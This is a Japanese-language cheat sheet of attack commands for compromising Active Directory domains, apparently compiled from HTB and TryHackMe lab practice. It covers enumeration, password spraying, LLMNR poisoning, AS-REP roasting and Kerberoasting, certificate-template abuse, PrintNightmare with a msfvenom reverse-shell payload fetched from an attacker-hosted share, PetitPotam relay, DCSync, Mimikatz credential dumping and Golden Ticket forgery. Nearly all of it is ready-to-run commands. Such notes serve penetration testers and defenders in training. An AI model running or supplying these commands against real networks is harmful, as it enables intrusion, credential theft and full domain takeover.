Enumeration

認証情報を持ってない時の列挙

ホストの存在確認

fping

指定したIPアドレス範囲内のアクティブなホストの高速な特定

fping -asgq 172.16.5.0/23

DCの条件判断

DCである可能性が高いポートの確認

nmap

サービスとバージョン情報をスキャンし、DCかどうかのより確実な判断

nmap -sV <IP>

Foothold

資格情報を得るための列挙・攻撃

ユーザー列挙

enum4linux

普通に使う

enum4linux -A  $Target_IP

SMB、RPC、LDAP経由でWindows/Sambaホストから情報を列挙し、ユーザーリストを取得

enum4linux -U <DC_IP> | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

背腕にわかっている認証情報で

enum4linux -u <ユーザー名> -p <パスワード> $Target_IP

rpcclient

RPCサービスに接続し、ドメインユーザーなどの情報を列挙(Nullセッションでも可)

rpcclient -U "" -N $Target_IP
rpcclient $> enumdomusers

CrackMapExec

SMBプロトコルを使用してネットワーク上のホストに対してユーザー列挙や認証攻撃

crackmapexec smb <DC_IP> --users

nxc

CrackMapExecの後継で、アクティブに開発が進められてる

guestで LDAP に接続してユーザー列挙

nxc ldap <Domain> -u 'guest' -p '' --users

ldapsearch

LDAPサーバーに接続し、指定した条件でユーザー情報などを検索・列挙(匿名バインドも可能)

ldapsearch -h <DC_IP> -x -b "DC=DOMAIN,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "

(DC=DOMAIN,DC=LOCAL は対象ドメインの識別名に置き換え)

自分の権限の列挙

ldapsearch -x -H ldap://$Target_IP -D "USERNAME@DOMAIN" -w 'PASSEWORD' -b "DC=PUPPY,DC=HTB" "(sAMAccountName=USERNAME)"

windapsearch

Active DirectoryのLDAP情報を列挙するためのPythonスクリプトで、特にユーザー列挙に利用

./windapsearch.py --dc-ip <DC_IP> -u "" -U

Kerbrute

Kerberosプロトコルを利用して、ユーザーリストから有効なドメインユーザーを列挙

kerbrute userenum -d <DOMAIN_NAME> --dc <DC_IP> /path/to/userlist.txt

パスワードポリシーの列挙

ldapsearch

LDAP経由でドメインのパスワードポリシー(最小長、履歴数など)の取得

ldapsearch -h <DC_IP> -x -b "DC=DOMAIN,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

net.exe

Windowsコマンドで、ローカルまたはドメインのパスワードポリシーやアカウント情報の表示

net accounts

PowerView

PowerViewはこいつしか信用するな

wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1

PowerShellベースのツールで、Active Directoryのドメインポリシー情報の取得

Get-DomainPolicy

パスワードスプレー攻撃

rpcclient

少数の共通パスワードを多数のユーザーアカウントに対して試行

for u in $(cat valid_users.txt);do rpcclient -U "$u%<PASSWORD_TO_SPRAY>" -c "getusername;quit" <DC_IP> | grep Authority; done

Kerbrute

Kerberos認証を利用して、ユーザーリストに対し単一のパスワードを試行

kerbrute passwordspray -d <DOMAIN_NAME> --dc <DC_IP> valid_users.txt '<PASSWORD_TO_SPRAY>'

CrackMapExec

SMBプロトコル経由で、ユーザーリストに対し単一のパスワードを試行し、成功したアカウントを特定

crackmapexec smb <DC_IP> -u valid_users.txt -p '<PASSWORD_TO_SPRAY>' | grep '+'

DomainPasswordSpray

PowerShellスクリプトで、ドメインユーザーに対してパスワードスプレー攻撃を実行

. .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password '<PASSWORD_TO_SPRAY>' -OutFile spray_success -ErrorAction SilentlyContinue

LLMNR / NBT-NS ポイズニング

Responder

ネットワーク内でLLMNRやNBT-NSリクエストを偽装応答し、NTLMハッシュを奪取

sudo responder -I <NIC>

ntlm_theft

SMBに書き込みができる時に使用例あり

git clone https://github.com/Greenwolf/ntlm_theft
cd ntlm_theft

Responderと連携し、NTLMv2-SSPチャレンジ/レスポンスハッシュを取得

python3 ntlm_theft.py -g all -s <RESPONDER_IP> -f generate

Inveigh

Windows上で動作するLLMNR/NBT-NS/mDNS/DNS/DHCPv6ポイズニングおよび中間者攻撃ツール

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

AS-REP Roasting

PowerViewはこいつしか信用するな

wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1

PowerView

Active Directory内でKerberos事前認証が不要 (DONT_REQ_PREAUTH) に設定されているユーザーの列挙

(PowerView)
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname

Rubeus

事前認証不要のユーザーアカウントのAS-REP(TGT)を要求し、Hashcat形式でハッシュを取得

.\Rubeus.exe asreproast /user:<USERNAME> /nowrap /format:hashcat

Impacketツールキットの一部で、事前認証不要のユーザーのAS-REPハッシュの取得

(GetNPUsers.py)
impacket-GetNPUsers <DOMAIN_NAME>/ -dc-ip <DC_IP> -no-pass -usersfile valid_ad_users -format hashcat -outputfile asrep_hashes.txt

hashcat

AS-REPハッシュ(モード18200)を辞書攻撃やブルートフォース攻撃でクラック

(hashcat)
hashcat -m 18200 asrep_hashes.txt /path/to/wordlist.txt

Enviroment Check

侵入先の環境の列挙

セキュリティコントロールの確認

Powershell

PowerViewはこいつしか信用するな

wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1

Get-MpComputerStatus

Get-MpComputerStatus

Get-AppLockerPolicy

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$ExecutionContext.SessionState.LanguageMode

$ExecutionContext.SessionState.LanguageMode

LAPSの確認

PowerView

Find-LAPSDelegatedGroups

Find-LAPSDelegatedGroups

Find-AdmPwdExtendedRights

Find-AdmPwdExtendedRights

Get-LAPSComputers

Get-LAPSComputers

資格情報を利用した列挙

CrackMapExec

取得した認証情報を使用してドメインユーザー、グループ、ログオン中ユーザー、共有フォルダなどの列挙

crackmapexec smb <DC_IP> -u <USER> -p <PASSWORD> --users
crackmapexec smb <DC_IP> -u <USER> -p <PASSWORD> --groups
crackmapexec smb <TARGET_IP> -u <USER> -p <PASSWORD> --loggedon-users
crackmapexec smb <DC_IP> -u <USER> -p <PASSWORD> --shares
crackmapexec smb <DC_IP> -u <USER> -p <PASSWORD> -M spider_plus --share '<SHARE_NAME>'

SMBMap

SMB共有を列挙し、アクセス権限の確認やファイルのダウンロード/アップロード、リモートコマンド実行が可能

smbmap -u <USER> -p <PASSWORD> -d <DOMAIN> -H <TARGET_IP>
smbmap -u <USER> -p <PASSWORD> -d <DOMAIN> -H <TARGET_IP> -R '<SHARE_NAME>' --dir-only

Impacketツールキットの一部で、WMI経由でターゲットホスト上でコマンドをセミインタラクティブに実行

wmiexec.py <DOMAIN_NAME>/<USER>:'<PASSWORD>'@<TARGET_IP>

Windapsearch

LDAPクエリを使用して、ドメイン管理者や特権ユーザーなどのActive Directory情報を列挙

python3 windapsearch.py --dc-ip <DC_IP> -u <USER>@<DOMAIN> -p <PASSWORD> --da
python3 windapsearch.py --dc-ip <DC_IP> -u <USER>@<DOMAIN> -p <PASSWORD> -PU

Active Directoryのオブジェクト間の関係性を収集・分析し、攻撃経路を視覚化

sudo bloodhound-python -u '<USER>' -p '<PASSWORD>' -ns <DC_IP> -d <DOMAIN_NAME> -c all
.\SharpHound.exe -c All --zipfilename <OUTPUT_ZIP_NAME>
sudo neo4j start
bloodhound

ActiveDirectory PowerShell

Windows標準のPowerShellモジュールで、ADオブジェクトの情報を取得・操作

Import-Module ActiveDirectory
Get-ADDomain
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Get-ADTrust -Filter *
Get-ADGroup -Filter - | select name
Get-ADGroupMember -Identity "<GROUP_NAME>"

PowerView

PowerSploitフレームワークの一部で、Active Directoryの偵察と悪用に特化したPowerShellツール

PowerViewはこいつしか信用するな

wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1
. .\PowerView.ps1
Get-Domain
Get-DomainController
Get-DomainUser -Identity <USERNAME>
Get-DomainGroupMember -Identity "<GROUP_NAME>" -Recurse
Find-InterestingDomainAcl
Get-DomainGPO
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

Snaffler

Active Directory環境内で、共有フォルダやファイルから認証情報や機密データを探索

Snaffler.exe -s -d <DOMAIN_NAME> -o snaffler.log -v data

adidnsdump

有効なドメインユーザーアカウントを使用して、ドメイン内の全てのDNSレコードを列挙

adidnsdump -u <DOMAIN_NAME>\\<USER> ldap//<DC_IP> -r

Literal Movement

他の資格情報を取得するための列挙・攻撃

証明書関連の脆弱性

Certpy

certipy-ad find -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -target labyrinth.thm.local -stdout -vulnerable

脆弱な証明書の取得

certipy-ad req -username 'SUSANNA_MCKNIGHT@thm.local' -password 'CHANGEME2023!' -ca thm-LABYRINTH-CA -target labyrinth.thm.local -template ServerAuth -upn Administrator@thm.local

NTLMハッシュのリクエスト

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.133.131

使用例 : Ledger#Certpy

特権アクセス先の利用

RDP (Remote Desktop Protocol)

GUIベースでリモートホストに接続し操作

Get-NetLocalGroupMember -ComputerName <TARGET_HOST> -GroupName "Remote Desktop Users"
xfreerdp /v:<TARGET_IP> /u:<USER> /p:<PASSWORD> /d:<DOMAIN>

WinRM (Windows Remote Management) / evil-winrm

PowerShellを使用してリモートホストを管理・操作evil-winrmは特にペンテストで有用なクライアント

Get-NetLocalGroupMember -ComputerName <TARGET_HOST> -GroupName "Remote Management Users"
evil-winrm -i <TARGET_IP> -u <USER> -p '<PASSWORD>'

SQL Server (管理者権限)

sysadmin権限を持つアカウントでSQL Serverに接続し、OSコマンド実行などを試行

Get-SQLInstanceDomain
Get-SQLQuery -Instance "<INSTANCE>" -username "<USER>" -password "<PASSWORD>" -query "<SQL_QUERY>"
Get-SQLQuery -Instance "<INSTANCE>" ... -query "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;"
Get-SQLQuery -Instance "<INSTANCE>" ... -query "EXEC xp_cmdshell 'whoami'"
mssqlclient.py <DOMAIN>/<USER>@<TARGET_IP> -windows-auth
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

Pass-the-Hash (PtH) / Pass-the-Ticket (PtT)

CrackMapExec (PtH)

ユーザーのNTLMハッシュを使用してSMB経由で認証し、コマンド実行など

crackmapexec smb <TARGET_IP> -u <USER> -H <NTHASH>

Mimikatz (Windows - PtH)

NTLMハッシュをメモリに注入し、そのユーザーになりすましてプロセスを実行

privilege::debug
sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<NTHASH> /run:"cmd.exe"

Mimikatz (Windows - PtT)

Kerberosチケットファイル(.kirbi)をメモリに注入し、そのチケットを使用して認証

kerberos::ptt /path/to/ticket.kirbi

Rubeus (Windows - PtT)

Base64エンコードされたチケットや.kirbiファイルをメモリに注入してKerberos認証

.\Rubeus.exe ptt /ticket:<BASE64_TICKET_OR_KIRBI_FILE>

Kerberos ダブルホップ問題の回避

Invoke-Command (PowerShell)

PSCredentialオブジェクトを使用して明示的に認証情報を渡し、2ホップ先のリソースにアクセス

$SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $SecPassword)
Invoke-Command -ComputerName <HOP1_TARGET> -ScriptBlock { Invoke-Command -ComputerName <HOP2_TARGET> -ScriptBlock { whoami } -Credential $using:Cred } -Credential $Cred

ドメイン信頼関係の悪用

SID History / ExtraSIDs (子→親)

子ドメインのKRBTGTハッシュと親ドメインの特権グループSIDを使用してGolden Ticketを作成し、親ドメインを掌握

kerberos::golden /user:<FAKE_USER> /domain:<CHILD_DOMAIN_FQDN> /sid:<CHILD_DOMAIN_SID> /krbtgt:<CHILD_KRBTGT_HASH> /sids:<PARENT_ENTERPRISE_ADMIN_SID> /ptt
.\Rubeus.exe golden /rc4:<CHILD_KRBTGT_HASH> /domain:<CHILD_DOMAIN_FQDN> /sid:<CHILD_DOMAIN_SID> /sids:<PARENT_ENTERPRISE_ADMIN_SID> /user:<FAKE_USER> /ptt
ticketer.py -nthash <CHILD_KRBTGT_HASH> -domain <CHILD_DOMAIN_FQDN> -domain-sid <CHILD_DOMAIN_SID> -extra-sid <PARENT_ENTERPRISE_ADMIN_SID> <FAKE_USER>
export KRB5CCNAME=<FAKE_USER.ccache>
psexec.py <CHILD_DOMAIN_FQDN>/<FAKE_USER>@<PARENT_DC_FQDN> -k -no-pass -target-ip <PARENT_DC_IP>

クロスフォレストKerberoasting

信頼関係のある別フォレストのドメインに対してKerberoasting攻撃を行い、サービスアカウントのハッシュを取得

.\Rubeus.exe kerberoast /domain:<TARGET_FOREST_DOMAIN> /user:<TARGET_SPN_USER> /nowrap
GetUserSPNs.py -request -target-domain <TARGET_FOREST_DOMAIN> <CURRENT_DOMAIN>/<USER>:<PASSWORD>

管理者パスワードの使い回し

異なるドメイン間で管理者アカウントのパスワードが再利用されていないか確認

グループメンバーシップの悪用 (他ドメインメンバー)

他ドメインのユーザーがローカルドメインの特権グループに所属していないか確認

Get-DomainForeignGroupMember -Domain <TARGET_DOMAIN>

Privilege Escatlation

(権限昇格のための列挙・攻撃)

Kerberoasting

SPNアカウント列挙

サービスプリンシパル名(SPN)が設定されたユーザーアカウント(Kerberoastingの対象)の列挙

GetUserSPNs.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>
Get-DomainUser -SPN
setspn.exe -Q */*

TGSチケット要求

列挙したSPNアカウントのTGS(サービスチケット)を要求し、そのハッシュを取得

GetUserSPNs.py -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD> -request -outputfile tgs_tickets
.\Rubeus.exe kerberoast /user:<TARGET_USER> /nowrap /format:hashcat

(RC4強制は /tgtdeleg オプション)

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"
kerberos::list /export

ハッシュクラック

取得したTGSハッシュ(モード13100)をオフラインでクラック

hashcat -m 13100 tgs_tickets /path/to/wordlist.txt
john --wordlist=/path/to/wordlist.txt tgs_tickets

ACL (アクセス制御リスト) の悪用

列挙 (PowerView)

PowerViewはこいつしか信用するな

wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1

オブジェクトに対する不適切なACL設定(書き込み権限など)の探索

Find-InterestingDomainAcl

$sid = Convert-NameToSid <USER>; Get-DomainObjectACL -ResolveGUIDs -Identity - | ? {$_.SecurityIdentifier -eq $sid}

権限行使 (PowerView例)

PowerViewはこいつしか信用するな

wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1

発見したACLの権限を利用して、パスワード変更、グループ追加、SPN書き換えなど

Set-DomainUserPassword -Identity <TARGET_USER> -AccountPassword <NEW_PASS_OBJ> -Credential <CRED_OBJ>
Add-DomainGroupMember -Identity '<TARGET_GROUP>' -Members '<USER_TO_ADD>' -Credential <CRED_OBJ>
Set-DomainObject -Credential <CRED_OBJ> -Identity <TARGET_USER> -SET @{serviceprincipalname='fake/spn'}

GPO (グループポリシーオブジェクト) の悪用

列挙

PowerView

PowerViewはこいつしか信用するな

wget https://github.com/PowerShellMafia/PowerSploit/raw/refs/heads/dev/Recon/PowerView.ps1

ドメイン内のGPOを列挙し、その設定やACLの確認

Get-DomainGPO
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}

攻撃

SharpGPOAbuse.exe

GPOの書き込み権限を悪用して、ローカル管理者追加やスケジュールタスク作成など

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <USER_TO_ADD> --GPOName "<GPO_NAME>"
SharpGPOAbuse.exe --AddTask --TaskName "<TASK_NAME>" --Command "<COMMAND>" --Arguments "<ARGS>" --GPOName "<GPO_NAME>"

脆弱性利用

NoPac

SamAccountName Spoofing - CVE-2021-42278 & CVE-2021-42287
ドメインユーザーからドメイン管理者へ昇格可能な脆弱性を悪用

sudo python3 scanner.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP> -use-ldap
sudo python3 noPac.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP> -dc-host <DC_HOSTNAME> -shell --impersonate administrator -use-ldap

RCE via Print Spooler - CVE-2021-34527, CVE-2021-1675
プリントスプーラーサービスの脆弱性を利用してリモートコード実行や権限昇格

rpcdump.py @<DC_IP> | egrep 'MS-RPRN|MS-PAR'
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=<PORT> -f dll > payload.dll
sudo smbserver.py -smb2support SHARE_NAME /path/to/payload_dll_folder/
sudo python3 CVE-2021-1675.py <DOMAIN>/<USER>:<PASSWORD>@<DC_IP> '\\\\<ATTACKER_IP>\\SHARE_NAME\\payload.dll'

PetitPotam

NTLM Relay via MS-EFSRPC -> AD CS -> DC Cert -> DCSync
MS-EFSRPCプロトコルを悪用してNTLMリレーを行い、AD CS経由でDCの証明書を取得しDCSyncへ

sudo ntlmrelayx.py -debug -smb2support --target http://<CA_SERVER_FQDN>/certsrv/certfnsh.asp --adcs --template DomainController
python3 PetitPotam.py <ATTACKER_IP_FOR_NTLMRELAYX> <DC_IP_TO_COERCE>
python3 /opt/PKINITtools/gettgtpkinit.py <DOMAIN>/<DC_HOSTNAME>\$ -pfx-base64 <BASE64_CERT> dc_ticket.ccache
export KRB5CCNAME=dc_ticket.ccache;
secretsdump.py -k -no-pass -just-dc-user <DOMAIN>/administrator "<DC_HOSTNAME>\$"@<DC_FQDN>

MS14-068

Kerberos PAC偽造
KerberosチケットのPAC(特権属性証明書)を偽造し、ドメイン管理者へ昇格する脆弱性 (PyKEK, Impacket)

その他の設定ミス悪用

PASSWD_NOTREQD フラグ

パスワードが不要に設定されているアカウントの悪用

Get-DomainUser -UACFilter PASSWD_NOTREQD

GPP (グループポリシー設定) パスワード

グループポリシー設定に保存された暗号化パスワード(復号可能)の悪用

crackmapexec smb <DC_IP> -u <USER> -p <PASSWORD> -M gpp_password
gpp-decrypt <CPASSWORD_FROM_XML>

説明欄に書かれたパスワード

ユーザーアカウントの説明欄などに不用意に記載されたパスワードの探索

Get-DomainUser - | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null}

SYSVOLスクリプト内の認証情報

SYSVOL共有内のスクリプトにハードコードされた認証情報の探索

Exchange関連グループメンバーシップ

PrivExchange等
Exchange関連の特権グループ ("Exchange Windows Permissions", "Organization Management") の悪用

プリンタバグ

MS-RPRN
プリントスプーラープロトコルの欠陥を利用し、サーバーに任意ホストへの認証を強制(LDAPリレーなど)

LDAP認証情報スニッフィング

アプリケーションやプリンタのWeb管理コンソールからLDAP認証情報を窃取


Post Privilege Escatlation

DCSync

ドメイン全体のハッシュ取得

DS-Replication-Get-Changes権限を悪用し、ドメインコントローラーから全ユーザーのNTLMハッシュなどを取得

secretsdump.py -just-dc -outputfile domain_hashes <DOMAIN>/<DA_USER>@<DC_IP>
secretsdump.py -just-dc -outputfile domain_hashes -hashes <LMHASH:NTHASH> <DOMAIN>/<DA_USER>@<DC_IP>
export KRB5CCNAME=<TICKET.CCACHE>;
secretsdump.py -k -no-pass -just-dc <DOMAIN>/<DA_USER_IMPERSONATED>@<DC_IP>

Mimikatz

ドメイン管理者権限のコンテキストで実行し、DCSync攻撃

privilege::debug
lsadump::dcsync /domain:<DOMAIN_FQDN> /all /csv
lsadump::dcsync /domain:<DOMAIN_FQDN> /user:krbtgt

Mimikatz

メモリから認証情報ダンプ
ローカルシステムのメモリから平文パスワード、NTLMハッシュ、Kerberosチケットなどを抽出

.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets /export
lsadump::lsa
lsadump::secrets

Golden Ticket

永続的ドメイン管理者アクセス
ドメインのKRBTGTアカウントのハッシュを使用して、任意のユーザーとして長期間有効なTGTを偽造

kerberos::golden /user:<ADMIN_USER_TO_CREATE> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /ptt

WinPEAS

Windowsホスト上で実行し、権限昇格や横展開に繋がる可能性のある情報を広範囲に収集

.\winPEASx64.exe